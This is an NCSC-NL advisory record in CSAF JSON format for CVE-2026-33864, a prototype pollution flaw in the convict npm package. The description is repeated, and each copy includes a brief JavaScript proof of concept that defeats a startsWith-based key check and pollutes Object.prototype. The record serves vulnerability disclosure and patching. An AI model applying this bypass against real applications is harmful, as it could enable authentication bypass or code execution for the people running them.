{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33864",
        "tracking": {
            "current_release_date": "2026-03-27T00:22:02.428997Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33864",
            "initial_release_date": "2026-03-26T19:45:17.904462Z",
            "revision_history": [
                {
                    "date": "2026-03-26T19:45:17.904462Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T19:45:24.872660Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-27T00:21:58.394996Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:22:00.621050Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "4"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<6.2.5",
                                "product": {
                                    "name": "vers:unknown/>=0|<6.2.5",
                                    "product_id": "CSAFPID-5920257"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Convict"
                    }
                ],
                "category": "vendor",
                "name": "Mozilla"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33864",
            "cwe": {
                "id": "CWE-1321",
                "name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nA prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`. \n\n### Details\nThe vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings. \n\n### PoC\n#### Steps to reproduce\n1. Install latest version of convict using `npm install` or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.startsWith = () => false; \nconst convict = require('convict');\nlet obj = {};\nconst config = convict(obj);\nconsole.log({}.polluted);\nconfig.set('constructor.prototype.polluted', 'yes');\nconsole.log({}.polluted);    // prints yes -> the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\n`Object.prototype` is polluted \nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set`  may be affected.\nIt could potentially lead to the following problems:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
                    "title": "github - https://api.github.com/advisories/GHSA-44fc-8fm5-q62h"
                },
                {
                    "category": "description",
                    "text": "### Summary\nA prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`. \n\n### Details\nThe vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings. \n\n### PoC\n#### Steps to reproduce\n1. Install latest version of convict using `npm install` or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.startsWith = () => false; \nconst convict = require('convict');\nlet obj = {};\nconst config = convict(obj);\nconsole.log({}.polluted);\nconfig.set('constructor.prototype.polluted', 'yes');\nconsole.log({}.polluted);    // prints yes -> the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\n`Object.prototype` is polluted \nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set`  may be affected.\nIt could potentially lead to the following problems:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-44fc-8fm5-q62h.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "9.4",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.9",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'))",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5920257"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-44fc-8fm5-q62h"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-44fc-8fm5-q62h.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-44fc-8fm5-q62h"
                }
            ],
            "title": "CVE-2026-33864"
        }
    ]
}